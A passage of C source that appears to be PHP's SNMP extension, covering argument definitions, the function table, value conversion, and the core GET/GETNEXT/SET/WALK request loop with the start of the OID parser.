ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp2_getnext, 0, 0, 3)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp2_walk, 0, 0, 3)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp2_real_walk, 0, 0, 3)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp2_set, 0, 0, 5)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, type)
ZEND_ARG_INFO(0, value)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp3_get, 0, 0, 8)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, sec_name)
ZEND_ARG_INFO(0, sec_level)
ZEND_ARG_INFO(0, auth_protocol)
ZEND_ARG_INFO(0, auth_passphrase)
ZEND_ARG_INFO(0, priv_protocol)
ZEND_ARG_INFO(0, priv_passphrase)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp3_getnext, 0, 0, 8)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, sec_name)
ZEND_ARG_INFO(0, sec_level)
ZEND_ARG_INFO(0, auth_protocol)
ZEND_ARG_INFO(0, auth_passphrase)
ZEND_ARG_INFO(0, priv_protocol)
ZEND_ARG_INFO(0, priv_passphrase)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp3_walk, 0, 0, 8)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, sec_name)
ZEND_ARG_INFO(0, sec_level)
ZEND_ARG_INFO(0, auth_protocol)
ZEND_ARG_INFO(0, auth_passphrase)
ZEND_ARG_INFO(0, priv_protocol)
ZEND_ARG_INFO(0, priv_passphrase)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp3_real_walk, 0, 0, 8)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, sec_name)
ZEND_ARG_INFO(0, sec_level)
ZEND_ARG_INFO(0, auth_protocol)
ZEND_ARG_INFO(0, auth_passphrase)
ZEND_ARG_INFO(0, priv_protocol)
ZEND_ARG_INFO(0, priv_passphrase)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp3_set, 0, 0, 10)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, sec_name)
ZEND_ARG_INFO(0, sec_level)
ZEND_ARG_INFO(0, auth_protocol)
ZEND_ARG_INFO(0, auth_passphrase)
ZEND_ARG_INFO(0, priv_protocol)
ZEND_ARG_INFO(0, priv_passphrase)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, type)
ZEND_ARG_INFO(0, value)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_set_valueretrieval, 0, 0, 1)
ZEND_ARG_INFO(0, method)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO(arginfo_snmp_get_valueretrieval, 0)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_read_mib, 0, 0, 1)
ZEND_ARG_INFO(0, filename)
ZEND_END_ARG_INFO()
/* OO arginfo */
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_create, 0, 0, 3)
ZEND_ARG_INFO(0, version)
ZEND_ARG_INFO(0, host)
ZEND_ARG_INFO(0, community)
ZEND_ARG_INFO(0, timeout)
ZEND_ARG_INFO(0, retries)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO(arginfo_snmp_void, 0)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_setSecurity, 0, 0, 8)
ZEND_ARG_INFO(0, sec_level)
ZEND_ARG_INFO(0, auth_protocol)
ZEND_ARG_INFO(0, auth_passphrase)
ZEND_ARG_INFO(0, priv_protocol)
ZEND_ARG_INFO(0, priv_passphrase)
ZEND_ARG_INFO(0, contextName)
ZEND_ARG_INFO(0, contextEngineID)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_get, 0, 0, 1)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, use_orignames)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_walk, 0, 0, 4)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, suffix_keys)
ZEND_ARG_INFO(0, max_repetitions)
ZEND_ARG_INFO(0, non_repeaters)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_set, 0, 0, 3)
ZEND_ARG_INFO(0, object_id)
ZEND_ARG_INFO(0, type)
ZEND_ARG_INFO(0, value)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO_EX(arginfo_snmp_class_set_quick_print, 0, 0, 1)
ZEND_ARG_INFO(0, quick_print)
ZEND_END_ARG_INFO()
/* }}} */
struct objid_query {
int count;
int offset;
int step;
zend_long non_repeaters;
zend_long max_repetitions;
int valueretrieval;
int array_output;
int oid_increasing_check;
snmpobjarg *vars;
};
/* {{{ snmp_functions[]
*/
const zend_function_entry snmp_functions[] = {
PHP_FE(snmpget, arginfo_snmpget)
PHP_FE(snmpgetnext, arginfo_snmpgetnext)
PHP_FE(snmpwalk, arginfo_snmpwalk)
PHP_FE(snmprealwalk, arginfo_snmprealwalk)
PHP_FALIAS(snmpwalkoid, snmprealwalk, arginfo_snmprealwalk)
PHP_FE(snmpset, arginfo_snmpset)
PHP_FE(snmp_get_quick_print, arginfo_snmp_get_quick_print)
PHP_FE(snmp_set_quick_print, arginfo_snmp_set_quick_print)
PHP_FE(snmp_set_enum_print, arginfo_snmp_set_enum_print)
PHP_FE(snmp_set_oid_output_format, arginfo_snmp_set_oid_output_format)
PHP_FALIAS(snmp_set_oid_numeric_print, snmp_set_oid_output_format, arginfo_snmp_set_oid_output_format)
PHP_FE(snmp2_get, arginfo_snmp2_get)
PHP_FE(snmp2_getnext, arginfo_snmp2_getnext)
PHP_FE(snmp2_walk, arginfo_snmp2_walk)
PHP_FE(snmp2_real_walk, arginfo_snmp2_real_walk)
PHP_FE(snmp2_set, arginfo_snmp2_set)
PHP_FE(snmp3_get, arginfo_snmp3_get)
PHP_FE(snmp3_getnext, arginfo_snmp3_getnext)
PHP_FE(snmp3_walk, arginfo_snmp3_walk)
PHP_FE(snmp3_real_walk, arginfo_snmp3_real_walk)
PHP_FE(snmp3_set, arginfo_snmp3_set)
PHP_FE(snmp_set_valueretrieval, arginfo_snmp_set_valueretrieval)
PHP_FE(snmp_get_valueretrieval, arginfo_snmp_get_valueretrieval)
PHP_FE(snmp_read_mib, arginfo_snmp_read_mib)
PHP_FE_END
};
/* }}} */
/* query an agent with GET method */
#define SNMP_CMD_GET (1<<0)
/* query an agent with GETNEXT method */
#define SNMP_CMD_GETNEXT (1<<1)
/* query an agent with SET method */
#define SNMP_CMD_SET (1<<2)
/* walk the mib */
#define SNMP_CMD_WALK (1<<3)
/* force values-only output */
#define SNMP_NUMERIC_KEYS (1<<7)
/* use user-supplied OID names for keys in array output mode in GET method */
#define SNMP_ORIGINAL_NAMES_AS_KEYS (1<<8)
/* use OID suffix (`index') for keys in array output mode in WALK method */
#define SNMP_USE_SUFFIX_AS_KEYS (1<<9)
#ifdef COMPILE_DL_SNMP
ZEND_GET_MODULE(snmp)
#endif
/* THREAD_LS snmp_module php_snmp_module; - may need one of these at some point */
/* {{{ PHP_GINIT_FUNCTION
*/
static PHP_GINIT_FUNCTION(snmp)
{
snmp_globals->valueretrieval = SNMP_VALUE_LIBRARY;
}
/* }}} */
#define PHP_SNMP_SESSION_FREE(a) { \
if ((*session)->a) { \
efree((*session)->a); \
(*session)->a = NULL; \
} \
}
static void netsnmp_session_free(php_snmp_session **session) /* {{{ */
{
if (*session) {
PHP_SNMP_SESSION_FREE(peername);
PHP_SNMP_SESSION_FREE(community);
PHP_SNMP_SESSION_FREE(securityName);
PHP_SNMP_SESSION_FREE(contextEngineID);
efree(*session);
*session = NULL;
}
}
/* }}} */
static void php_snmp_session_destructor(zend_resource *rsrc) /* {{{ */
{
php_snmp_session *session = (php_snmp_session *)rsrc->ptr;
netsnmp_session_free(&session);
}
/* }}} */
static void php_snmp_object_free_storage(zend_object *object) /* {{{ */
{
php_snmp_object *intern = php_snmp_fetch_object(object);
if (!intern) {
return;
}
netsnmp_session_free(&(intern->session));
zend_object_std_dtor(&intern->zo);
}
/* }}} */
static zend_object *php_snmp_object_new(zend_class_entry *class_type) /* {{{ */
{
php_snmp_object *intern;
/* Allocate memory for it */
intern = ecalloc(1, sizeof(php_snmp_object) + zend_object_properties_size(class_type));
zend_object_std_init(&intern->zo, class_type);
object_properties_init(&intern->zo, class_type);
intern->zo.handlers = &php_snmp_object_handlers;
return &intern->zo;
}
/* }}} */
/* {{{ php_snmp_error
*
* Record last SNMP-related error in object
*
*/
static void php_snmp_error(zval *object, const char *docref, int type, const char *format, ...)
{
va_list args;
php_snmp_object *snmp_object = NULL;
if (object) {
snmp_object = Z_SNMP_P(object);
if (type == PHP_SNMP_ERRNO_NOERROR) {
memset(snmp_object->snmp_errstr, 0, sizeof(snmp_object->snmp_errstr));
} else {
va_start(args, format);
vsnprintf(snmp_object->snmp_errstr, sizeof(snmp_object->snmp_errstr) - 1, format, args);
va_end(args);
}
snmp_object->snmp_errno = type;
}
if (type == PHP_SNMP_ERRNO_NOERROR) {
return;
}
if (object && (snmp_object->exceptions_enabled & type)) {
zend_throw_exception_ex(php_snmp_exception_ce, type, "%s", snmp_object->snmp_errstr);
} else {
va_start(args, format);
php_verror(docref, "", E_WARNING, format, args);
va_end(args);
}
}
/* }}} */
/* {{{ php_snmp_getvalue
*
* SNMP value to zval converter
*
*/
static void php_snmp_getvalue(struct variable_list *vars, zval *snmpval, int valueretrieval)
{
zval val;
char sbuf[512];
char *buf = &(sbuf[0]);
char *dbuf = (char *)NULL;
int buflen = sizeof(sbuf) - 1;
int val_len = vars->val_len;
/* use emalloc() for large values, use static array otherwize */
/* There is no way to know the size of buffer snprint_value() needs in order to print a value there.
* So we are forced to probe it
*/
while ((valueretrieval & SNMP_VALUE_PLAIN) == 0) {
*buf = '\0';
if (snprint_value(buf, buflen, vars->name, vars->name_length, vars) == -1) {
if (val_len > 512*1024) {
php_error_docref(NULL, E_WARNING, "snprint_value() asks for a buffer more than 512k, Net-SNMP bug?");
break;
}
/* buffer is not long enough to hold full output, double it */
val_len *= 2;
} else {
break;
}
if (buf == dbuf) {
dbuf = (char *)erealloc(dbuf, val_len + 1);
} else {
dbuf = (char *)emalloc(val_len + 1);
}
if (!dbuf) {
php_error_docref(NULL, E_WARNING, "emalloc() failed: %s, fallback to static buffer", strerror(errno));
buf = &(sbuf[0]);
buflen = sizeof(sbuf) - 1;
break;
}
buf = dbuf;
buflen = val_len;
}
if((valueretrieval & SNMP_VALUE_PLAIN) && val_len > buflen){
if ((dbuf = (char *)emalloc(val_len + 1))) {
buf = dbuf;
buflen = val_len;
} else {
php_error_docref(NULL, E_WARNING, "emalloc() failed: %s, fallback to static buffer", strerror(errno));
}
}
if (valueretrieval & SNMP_VALUE_PLAIN) {
*buf = 0;
switch (vars->type) {
case ASN_BIT_STR: /* 0x03, asn1.h */
ZVAL_STRINGL(&val, (char *)vars->val.bitstring, vars->val_len);
break;
case ASN_OCTET_STR: /* 0x04, asn1.h */
case ASN_OPAQUE: /* 0x44, snmp_impl.h */
ZVAL_STRINGL(&val, (char *)vars->val.string, vars->val_len);
break;
case ASN_NULL: /* 0x05, asn1.h */
ZVAL_NULL(&val);
break;
case ASN_OBJECT_ID: /* 0x06, asn1.h */
snprint_objid(buf, buflen, vars->val.objid, vars->val_len / sizeof(oid));
ZVAL_STRING(&val, buf);
break;
case ASN_IPADDRESS: /* 0x40, snmp_impl.h */
snprintf(buf, buflen, "%d.%d.%d.%d",
(vars->val.string)[0], (vars->val.string)[1],
(vars->val.string)[2], (vars->val.string)[3]);
buf[buflen]=0;
ZVAL_STRING(&val, buf);
break;
case ASN_COUNTER: /* 0x41, snmp_impl.h */
case ASN_GAUGE: /* 0x42, snmp_impl.h */
/* ASN_UNSIGNED is the same as ASN_GAUGE */
case ASN_TIMETICKS: /* 0x43, snmp_impl.h */
case ASN_UINTEGER: /* 0x47, snmp_impl.h */
snprintf(buf, buflen, "%lu", *vars->val.integer);
buf[buflen]=0;
ZVAL_STRING(&val, buf);
break;
case ASN_INTEGER: /* 0x02, asn1.h */
snprintf(buf, buflen, "%ld", *vars->val.integer);
buf[buflen]=0;
ZVAL_STRING(&val, buf);
break;
#if defined(NETSNMP_WITH_OPAQUE_SPECIAL_TYPES) || defined(OPAQUE_SPECIAL_TYPES)
case ASN_OPAQUE_FLOAT: /* 0x78, asn1.h */
snprintf(buf, buflen, "%f", *vars->val.floatVal);
ZVAL_STRING(&val, buf);
break;
case ASN_OPAQUE_DOUBLE: /* 0x79, asn1.h */
snprintf(buf, buflen, "%Lf", *vars->val.doubleVal);
ZVAL_STRING(&val, buf);
break;
case ASN_OPAQUE_I64: /* 0x80, asn1.h */
printI64(buf, vars->val.counter64);
ZVAL_STRING(&val, buf);
break;
case ASN_OPAQUE_U64: /* 0x81, asn1.h */
#endif
case ASN_COUNTER64: /* 0x46, snmp_impl.h */
printU64(buf, vars->val.counter64);
ZVAL_STRING(&val, buf);
break;
default:
ZVAL_STRING(&val, "Unknown value type");
php_error_docref(NULL, E_WARNING, "Unknown value type: %u", vars->type);
break;
}
} else /* use Net-SNMP value translation */ {
/* we have desired string in buffer, just use it */
ZVAL_STRING(&val, buf);
}
if (valueretrieval & SNMP_VALUE_OBJECT) {
object_init(snmpval);
add_property_long(snmpval, "type", vars->type);
add_property_zval(snmpval, "value", &val);
} else {
ZVAL_COPY(snmpval, &val);
}
zval_ptr_dtor(&val);
if (dbuf){ /* malloc was used to store value */
efree(dbuf);
}
}
/* }}} */
/* {{{ php_snmp_internal
*
* SNMP object fetcher/setter for all SNMP versions
*
*/
static void php_snmp_internal(INTERNAL_FUNCTION_PARAMETERS, int st,
struct snmp_session *session,
struct objid_query *objid_query)
{
struct snmp_session *ss;
struct snmp_pdu *pdu=NULL, *response;
struct variable_list *vars;
oid root[MAX_NAME_LEN];
size_t rootlen = 0;
int status, count, found;
char buf[2048];
char buf2[2048];
int keepwalking=1;
char *err;
zval snmpval;
int snmp_errno;
/* we start with retval=FALSE. If any actual data is acquired, retval will be set to appropriate type */
RETVAL_FALSE;
/* reset errno and errstr */
php_snmp_error(getThis(), NULL, PHP_SNMP_ERRNO_NOERROR, "");
if (st & SNMP_CMD_WALK) { /* remember root OID */
memmove((char *)root, (char *)(objid_query->vars[0].name), (objid_query->vars[0].name_length) * sizeof(oid));
rootlen = objid_query->vars[0].name_length;
objid_query->offset = objid_query->count;
}
if ((ss = snmp_open(session)) == NULL) {
snmp_error(session, NULL, NULL, &err);
php_error_docref(NULL, E_WARNING, "Could not open snmp connection: %s", err);
free(err);
RETVAL_FALSE;
return;
}
if ((st & SNMP_CMD_SET) && objid_query->count > objid_query->step) {
php_snmp_error(getThis(), NULL, PHP_SNMP_ERRNO_MULTIPLE_SET_QUERIES, "Can not fit all OIDs for SET query into one packet, using multiple queries");
}
while (keepwalking) {
keepwalking = 0;
if (st & SNMP_CMD_WALK) {
if (session->version == SNMP_VERSION_1) {
pdu = snmp_pdu_create(SNMP_MSG_GETNEXT);
} else {
pdu = snmp_pdu_create(SNMP_MSG_GETBULK);
pdu->non_repeaters = objid_query->non_repeaters;
pdu->max_repetitions = objid_query->max_repetitions;
}
snmp_add_null_var(pdu, objid_query->vars[0].name, objid_query->vars[0].name_length);
} else {
if (st & SNMP_CMD_GET) {
pdu = snmp_pdu_create(SNMP_MSG_GET);
} else if (st & SNMP_CMD_GETNEXT) {
pdu = snmp_pdu_create(SNMP_MSG_GETNEXT);
} else if (st & SNMP_CMD_SET) {
pdu = snmp_pdu_create(SNMP_MSG_SET);
} else {
snmp_close(ss);
php_error_docref(NULL, E_ERROR, "Unknown SNMP command (internals)");
RETVAL_FALSE;
return;
}
for (count = 0; objid_query->offset < objid_query->count && count < objid_query->step; objid_query->offset++, count++){
if (st & SNMP_CMD_SET) {
if ((snmp_errno = snmp_add_var(pdu, objid_query->vars[objid_query->offset].name, objid_query->vars[objid_query->offset].name_length, objid_query->vars[objid_query->offset].type, objid_query->vars[objid_query->offset].value))) {
snprint_objid(buf, sizeof(buf), objid_query->vars[objid_query->offset].name, objid_query->vars[objid_query->offset].name_length);
php_snmp_error(getThis(), NULL, PHP_SNMP_ERRNO_OID_PARSING_ERROR, "Could not add variable: OID='%s' type='%c' value='%s': %s", buf, objid_query->vars[objid_query->offset].type, objid_query->vars[objid_query->offset].value, snmp_api_errstring(snmp_errno));
snmp_free_pdu(pdu);
snmp_close(ss);
RETVAL_FALSE;
return;
}
} else {
snmp_add_null_var(pdu, objid_query->vars[objid_query->offset].name, objid_query->vars[objid_query->offset].name_length);
}
}
if(pdu->variables == NULL){
snmp_free_pdu(pdu);
snmp_close(ss);
RETVAL_FALSE;
return;
}
}
retry:
status = snmp_synch_response(ss, pdu, &response);
if (status == STAT_SUCCESS) {
if (response->errstat == SNMP_ERR_NOERROR) {
if (st & SNMP_CMD_SET) {
if (objid_query->offset < objid_query->count) { /* we have unprocessed OIDs */
keepwalking = 1;
continue;
}
snmp_free_pdu(response);
snmp_close(ss);
RETVAL_TRUE;
return;
}
for (vars = response->variables; vars; vars = vars->next_variable) {
/* do not output errors as values */
if ( vars->type == SNMP_ENDOFMIBVIEW ||
vars->type == SNMP_NOSUCHOBJECT ||
vars->type == SNMP_NOSUCHINSTANCE ) {
if ((st & SNMP_CMD_WALK) && Z_TYPE_P(return_value) == IS_ARRAY) {
break;
}
snprint_objid(buf, sizeof(buf), vars->name, vars->name_length);
snprint_value(buf2, sizeof(buf2), vars->name, vars->name_length, vars);
php_snmp_error(getThis(), NULL, PHP_SNMP_ERRNO_ERROR_IN_REPLY, "Error in packet at '%s': %s", buf, buf2);
continue;
}
if ((st & SNMP_CMD_WALK) &&
(vars->name_length < rootlen || memcmp(root, vars->name, rootlen * sizeof(oid)))) { /* not part of this subtree */
if (Z_TYPE_P(return_value) == IS_ARRAY) { /* some records are fetched already, shut down further lookup */
keepwalking = 0;
} else {
/* first fetched OID is out of subtree, fallback to GET query */
st |= SNMP_CMD_GET;
st ^= SNMP_CMD_WALK;
objid_query->offset = 0;
keepwalking = 1;
}
break;
}
ZVAL_NULL(&snmpval);
php_snmp_getvalue(vars, &snmpval, objid_query->valueretrieval);
if (objid_query->array_output) {
if (Z_TYPE_P(return_value) == IS_TRUE || Z_TYPE_P(return_value) == IS_FALSE) {
array_init(return_value);
}
if (st & SNMP_NUMERIC_KEYS) {
add_next_index_zval(return_value, &snmpval);
} else if (st & SNMP_ORIGINAL_NAMES_AS_KEYS && st & SNMP_CMD_GET) {
found = 0;
for (count = 0; count < objid_query->count; count++) {
if (objid_query->vars[count].name_length == vars->name_length && snmp_oid_compare(objid_query->vars[count].name, objid_query->vars[count].name_length, vars->name, vars->name_length) == 0) {
found = 1;
objid_query->vars[count].name_length = 0; /* mark this name as used */
break;
}
}
if (found) {
add_assoc_zval(return_value, objid_query->vars[count].oid, &snmpval);
} else {
snprint_objid(buf2, sizeof(buf2), vars->name, vars->name_length);
php_error_docref(NULL, E_WARNING, "Could not find original OID name for '%s'", buf2);
}
} else if (st & SNMP_USE_SUFFIX_AS_KEYS && st & SNMP_CMD_WALK) {
snprint_objid(buf2, sizeof(buf2), vars->name, vars->name_length);
if (rootlen <= vars->name_length && snmp_oid_compare(root, rootlen, vars->name, rootlen) == 0) {
buf2[0] = '\0';
count = rootlen;
while(count < vars->name_length){
sprintf(buf, "%lu.", vars->name[count]);
strcat(buf2, buf);
count++;
}
buf2[strlen(buf2) - 1] = '\0'; /* remove trailing '.' */
}
add_assoc_zval(return_value, buf2, &snmpval);
} else {
snprint_objid(buf2, sizeof(buf2), vars->name, vars->name_length);
add_assoc_zval(return_value, buf2, &snmpval);
}
} else {
ZVAL_COPY_VALUE(return_value, &snmpval);
break;
}
/* OID increase check */
if (st & SNMP_CMD_WALK) {
if (objid_query->oid_increasing_check == TRUE && snmp_oid_compare(objid_query->vars[0].name, objid_query->vars[0].name_length, vars->name, vars->name_length) >= 0) {
snprint_objid(buf2, sizeof(buf2), vars->name, vars->name_length);
php_snmp_error(getThis(), NULL, PHP_SNMP_ERRNO_OID_NOT_INCREASING, "Error: OID not increasing: %s", buf2);
keepwalking = 0;
} else {
memmove((char *)(objid_query->vars[0].name), (char *)vars->name, vars->name_length * sizeof(oid));
objid_query->vars[0].name_length = vars->name_length;
keepwalking = 1;
}
}
}
if (objid_query->offset < objid_query->count) { /* we have unprocessed OIDs */
keepwalking = 1;
}
} else {
if (st & SNMP_CMD_WALK && response->errstat == SNMP_ERR_TOOBIG && objid_query->max_repetitions > 1) { /* Answer will not fit into single packet */
objid_query->max_repetitions /= 2;
snmp_free_pdu(response);
keepwalking = 1;
continue;
}
if (!(st & SNMP_CMD_WALK) || response->errstat != SNMP_ERR_NOSUCHNAME || Z_TYPE_P(return_value) == IS_TRUE || Z_TYPE_P(return_value) == IS_FALSE) {
for (count=1, vars = response->variables;
vars && count != response->errindex;
vars = vars->next_variable, count++);
if (st & (SNMP_CMD_GET | SNMP_CMD_GETNEXT) && response->errstat == SNMP_ERR_TOOBIG && objid_query->step > 1) { /* Answer will not fit into single packet */
objid_query->offset = ((objid_query->offset > objid_query->step) ? (objid_query->offset - objid_query->step) : 0 );
objid_query->step /= 2;
snmp_free_pdu(response);
keepwalking = 1;
continue;
}
if (vars) {
snprint_objid(buf, sizeof(buf), vars->name, vars->name_length);
php_snmp_error(getThis(), NULL, PHP_SNMP_ERRNO_ERROR_IN_REPLY, "Error in packet at '%s': %s", buf, snmp_errstring(response->errstat));
} else {
php_snmp_error(getThis(), NULL, PHP_SNMP_ERRNO_ERROR_IN_REPLY, "Error in packet at %u object_id: %s", response->errindex, snmp_errstring(response->errstat));
}
if (st & (SNMP_CMD_GET | SNMP_CMD_GETNEXT)) { /* cut out bogus OID and retry */
if ((pdu = snmp_fix_pdu(response, ((st & SNMP_CMD_GET) ? SNMP_MSG_GET : SNMP_MSG_GETNEXT) )) != NULL) {
snmp_free_pdu(response);
goto retry;
}
}
snmp_free_pdu(response);
snmp_close(ss);
if (objid_query->array_output) {
zval_ptr_dtor(return_value);
}
RETVAL_FALSE;
return;
}
}
} else if (status == STAT_TIMEOUT) {
php_snmp_error(getThis(), NULL, PHP_SNMP_ERRNO_TIMEOUT, "No response from %s", session->peername);
if (objid_query->array_output) {
zval_ptr_dtor(return_value);
}
snmp_close(ss);
RETVAL_FALSE;
return;
} else { /* status == STAT_ERROR */
snmp_error(ss, NULL, NULL, &err);
php_snmp_error(getThis(), NULL, PHP_SNMP_ERRNO_GENERIC, "Fatal error: %s", err);
free(err);
if (objid_query->array_output) {
zval_ptr_dtor(return_value);
}
snmp_close(ss);
RETVAL_FALSE;
return;
}
if (response) {
snmp_free_pdu(response);
}
} /* keepwalking */
snmp_close(ss);
}
/* }}} */
/* {{{ php_snmp_parse_oid
*
* OID parser (and type, value for SNMP_SET command)
*/
static int php_snmp_parse_oid(zval *object, int st, struct objid_query *objid_query, zval *oid, zval *type, zval *value)
{
char *pptr;
uint32_t idx_type = 0, idx_value = 0;
zval *tmp_oid, *tmp_type, *tmp_value;
if (Z_TYPE_P(oid) != IS_ARRAY) {
convert_to_string_ex(oid);
}
if (st & SNMP_CMD_SET) {
if (Z_TYPE_P(type) != IS_ARRAY) {
convert_to_string_ex(type);
}
if (Z_TYPE_P(value) != IS_ARRAY) {
convert_to_string_ex(value);
}
}
objid_query->count = 0;
objid_query->array_output = ((st & SNMP_CMD_WALK) ? TRUE : FALSE);
if (Z_TYPE_P(oid) == IS_STRING) {
objid_query->vars = (snmpobjarg *)emalloc(sizeof(snmpobjarg));
if (objid_query->vars == NULL) {
php_error_docref(NULL, E_WARNING, "emalloc() failed while parsing oid: %s", strerror(errno));
efree(objid_query->vars);
return FALSE;
}
objid_query->vars[objid_query->count].oid = Z_STRVAL_P(oid);
if (st & SNMP_CMD_SET) {
if (Z_TYPE_P(type) == IS_STRING && Z_TYPE_P(value) == IS_STRING) {
if (Z_STRLEN_P(type) != 1) {
php_error_docref(NULL, E_WARNING, "Bogus type '%s', should be single char, got %u", Z_STRVAL_P(type), Z_STRLEN_P(type));
efree(objid_query->vars);
return FALSE;
}
pptr = Z_STRVAL_P(type);
objid_query->vars[objid_query->count].type = *pptr;
objid_query->vars[objid_query->count].value = Z_STRVAL_P(value);
} else {
php_error_docref(NULL, E_WARNING, "Single objid and multiple type or values are not supported");
efree(objid_query->vars);
return FALSE;
}
}
objid_query->count++;
} else if (Z_TYPE_P(oid) == IS_ARRAY) { /* we got objid array */
if (zend_hash_num_elements(Z_ARRVAL_P(oid)) == 0) {
php_error_docref(NULL, E_WARNING, "Got empty OID array");
return FALSE;
}
objid_query->vars = (snmpobjarg *)safe_emalloc(sizeof(snmpobjarg), zend_hash_num_elements(Z_ARRVAL_P(oid)), 0);
if (objid_query->vars == NULL) {
php_error_docref(NULL, E_WARNING, "emalloc() failed while parsing oid array: %s", strerror(errno));
efree(objid_query->vars);
return FALSE;
}
objid_query->array_output = ( (st & SNMP_CMD_SET) ? FALSE : TRUE );
ZEND_HASH_FOREACH_VAL(Z_ARRVAL_P(oid), tmp_oid) {
convert_to_string_ex(tmp_oid);
objid_query->vars[objid_query->count].oid = Z_STRVAL_P(tmp_oid);
if (st & SNMP_CMD_SET) {
if (Z_TYPE_P(type) == IS_STRING) {
pptr = Z_STRVAL_P(type);
objid_query->vars[objid_query->count].type = *pptr;
} else if (Z_TYPE_P(type) == IS_ARRAY) {
while (idx_type < Z_ARRVAL_P(type)->nNumUsed) {
tmp_type = &Z_ARRVAL_P(type)->arData[idx_type].val;
if (Z_TYPE_P(tmp_type) != IS_UNDEF) {
break;
}
idx_type++;
}
if (idx_type < Z_ARRVAL_P(type)->nNumUsed) {
convert_to_string_ex(tmp_type);
if (Z_STRLEN_P(tmp_type) != 1) {
php_error_docref(NULL, E_WARNING, "'%s': bogus type '%s', should be single char, got %u", Z_STRVAL_P(tmp_oid), Z_STRVAL_P(tmp_type), Z_STRLEN_P(tmp_type));
efree(objid_query->vars);
return FALSE;
}
pptr = Z_STRVAL_P(tmp_type);
objid_query->vars[objid_query->count].type = *pptr;
idx_type++;
} else {
php_error_docref(NULL, E_WARNING, "'%s': no type set", Z_STRVAL_P(tmp_oid));
efree(objid_query->vars);
return FALSE;
}
}
if (Z_TYPE_P(value) == IS_STRING) {
objid_query->vars[objid_query->count].value = Z_STRVAL_P(value);
} else if (Z_TYPE_P(value) == IS_ARRAY) {
while (idx_value < Z_ARRVAL_P(value)->nNumUsed) {
tmp_value = &Z_ARRVAL_P(value)->arData[idx_value].val;
if (Z_TYPE_P(tmp_value) != IS_UNDEF) {
break;
}
idx_value++;
}
if (idx_value < Z_ARRVAL_P(value)->nNumUsed) {
convert_to_string_ex(tmp_value);
objid_query->vars[objid_query->count].value = Z_STRVAL_P(tmp_value);
idx_value++;
} else {
php_error_docref(NULL, E_WARNING, "'%s': no value set", Z_STRVAL_P(tmp_oid));
efree(objid_query->vars);
return FALSE;
}
}
}
objid_query->count++;
} ZEND_HASH_FOREACH_END();
}
/* now parse all OIDs */
if (st & SNMP_CMD_WALK) {
if (objid_query->count > 1) {
php_snmp_error(object, NULL, PHP_SNMP_ERRNO_OID_PARSING_ERROR, "Multi OID walks are not supported!");
efree(objid_query->vars);
return FALSE;
}
objid_query->vars[0].name_length = MAX_NAME_LEN;
if (strlen(objid_query->vars[0].oid)) { /* on a walk, an empty string means top of tree - no error */
if (!snmp_parse_oid(objid_query->vars[0].oid, objid_query->vars[0].name, &(objid_query->vars[0].name_length))) {
php_snmp_error(object, NULL, PHP_SNMP_ERRNO_OID_PARSING_ERROR, "Invalid object identifier: %s", objid_query->vars[0].oid);
efree(objid_query->vars);
return FALSE;
}
} else {
